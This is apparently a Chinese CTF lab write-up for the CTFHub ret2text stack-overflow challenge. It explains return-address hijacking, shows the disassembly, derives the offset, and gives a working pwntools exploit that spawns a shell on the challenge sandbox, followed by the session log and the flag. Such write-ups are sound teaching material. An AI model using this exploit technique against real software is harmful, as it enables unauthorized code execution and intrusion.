前言
栈溢出是缓冲区溢出的一种。函数的局部变量通常保存在栈上,如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址[即ROP](Return Oriented Programming),以达到劫持程序控制流的目的。
在x86架构中,CPU执行call指令会先将当前call指令的下一条指令的地址入栈,再跳转到被调用函数。当被调用函数需要返回时就执行ret指令,接着CPU会执行出栈,栈顶的地址会赋给EIP寄存器。这个地址让被调用函数知道返回到调用函数的什么位置,叫做返回地址。理想情况下,取出的地址就是之前调用call存入的地址,以保证可以返回到父函数继续执行。
ret2text原理
ret2text顾名思义,即控制返回地址指向程序本身已有的代码(.text)[利用地址]并执行。
工具准备
IDA、DBG、pwndbg、peda、pwntools
例题描述(ctfhub技能树 ret2text )
nc challenge-dbabb54d9de9a05e.sandbox.ctfhub.com 29815
附件:pwn
ROP过程
问题分析
下载附件,解压查看基本信息。

发现是个64位的elf文件 。
然后我们检查它的保护机制 。
root@192:/home/cjm/桌面# gdb
GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
gdb-peda$ checksec pwn
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2text.Input someting:");
gets(v4);
puts("bye");
return 0;
}
有一些输入输出函数调用且未对输入数据进行长度限制,下面我们再看看secure函数内容
int secure()
{
unsigned int v0; // eax
int result; // eax
int v2; // [rsp+8h] [rbp-8h] BYREF
int v3; // [rsp+Ch] [rbp-4h]
v0 = time(0LL);
srand(v0);
v3 = rand();
__isoc99_scanf(&unk_4008C8, &v2);
result = v2;
if ( v3 == v2 )
result = system("/bin/sh");
return result;
}
里面调用了system('/bin/sh')。由此可见,这道题是通过gets()函数传递变量覆盖返回地址执行 system('/bin/sh') 获得shell。
我们需要知道两个关键信息:
1.变量的地址
2.system('/bin/sh') 的内存地址
第一步,通过peda调试,反汇编找到变量的地址
gdb-peda$ file ./pwn
Reading symbols from ./pwn...
(No debugging symbols found in ./pwn)
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004007c7 <+0>: push rbp
0x00000000004007c8 <+1>: mov rbp,rsp
0x00000000004007cb <+4>: sub rsp,0x70
0x00000000004007cf <+8>: mov rax,QWORD PTR [rip+0x20089a] # 0x601070 <stdout@@GLIBC_2.2.5>
0x00000000004007d6 <+15>: mov ecx,0x0
0x00000000004007db <+20>: mov edx,0x2
0x00000000004007e0 <+25>: mov esi,0x0
0x00000000004007e5 <+30>: mov rdi,rax
0x00000000004007e8 <+33>: call 0x400660 <setvbuf@plt>
0x00000000004007ed <+38>: mov rax,QWORD PTR [rip+0x20088c] # 0x601080 <stdin@@GLIBC_2.2.5>
0x00000000004007f4 <+45>: mov ecx,0x0
0x00000000004007f9 <+50>: mov edx,0x1
0x00000000004007fe <+55>: mov esi,0x0
0x0000000000400803 <+60>: mov rdi,rax
0x0000000000400806 <+63>: call 0x400660 <setvbuf@plt>
0x000000000040080b <+68>: lea rdi,[rip+0xc6] # 0x4008d8
0x0000000000400812 <+75>: call 0x400610 <puts@plt>
0x0000000000400817 <+80>: lea rax,[rbp-0x70]
0x000000000040081b <+84>: mov rdi,rax
0x000000000040081e <+87>: mov eax,0x0
0x0000000000400823 <+92>: call 0x400650 <gets@plt>
0x0000000000400828 <+97>: lea rdi,[rip+0xd4] # 0x400903
0x000000000040082f <+104>: call 0x400610 <puts@plt>
0x0000000000400834 <+109>: mov eax,0x0
0x0000000000400839 <+114>: leave
0x000000000040083a <+115>: ret
End of assembler dump.
gdb-peda$
变量地址为[rbp-0x70]。我们知道在64位系统中,ebp占8字节。这里rbp后就是ebp,ebp后才是返回地址。我们要填充变量到覆盖返回地址,就要使变量长度为0x70+8=0x78(这个也是偏移长度)。
第二步,同样反汇编调试
gdb-peda$ disassemble secure
Dump of assembler code for function secure:
0x0000000000400777 <+0>: push rbp
0x0000000000400778 <+1>: mov rbp,rsp
0x000000000040077b <+4>: sub rsp,0x10
0x000000000040077f <+8>: mov edi,0x0
0x0000000000400784 <+13>: call 0x400640 <time@plt>
0x0000000000400789 <+18>: mov edi,eax
0x000000000040078b <+20>: call 0x400630 <srand@plt>
0x0000000000400790 <+25>: call 0x400680 <rand@plt>
0x0000000000400795 <+30>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400798 <+33>: lea rax,[rbp-0x8]
0x000000000040079c <+37>: mov rsi,rax
0x000000000040079f <+40>: lea rdi,[rip+0x122] # 0x4008c8
0x00000000004007a6 <+47>: mov eax,0x0
0x00000000004007ab <+52>: call 0x400670 <__isoc99_scanf@plt>
0x00000000004007b0 <+57>: mov eax,DWORD PTR [rbp-0x8]
0x00000000004007b3 <+60>: cmp DWORD PTR [rbp-0x4],eax
0x00000000004007b6 <+63>: jne 0x4007c4 <secure+77>
0x00000000004007b8 <+65>: lea rdi,[rip+0x10c] # 0x4008cb
0x00000000004007bf <+72>: call 0x400620 <system@plt>
0x00000000004007c4 <+77>: nop
0x00000000004007c5 <+78>: leave
0x00000000004007c6 <+79>: ret
End of assembler dump.
由于要调用该语句,就拿该语句的地址0x4007b8。
编写exp
from pwn import *
host = 'challenge-dbabb54d9de9a05e.sandbox.ctfhub.com'
port = 29815
#p = process("./pwn")
p = connect(host, port)
payload = 'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()
如若出现错误TypeError: can only concatenate str (not "bytes") to str,是因为python3中bytes类型不能与str类型直接相加,可以写成这样来 b'A' * 0x78 + p64(0x4007b8) 来避免报错。
运行拿到flag。
[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815
[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Trying 47.98.148.7
[+] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Done
[*] Switching to interactive mode
Welcome to CTFHub ret2text.Input someting:
bye
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
ctfhub{ef5af582ab6cd2dc8fbc897e}
参考资料:点击这里
本文链接: 栈溢出——ret2text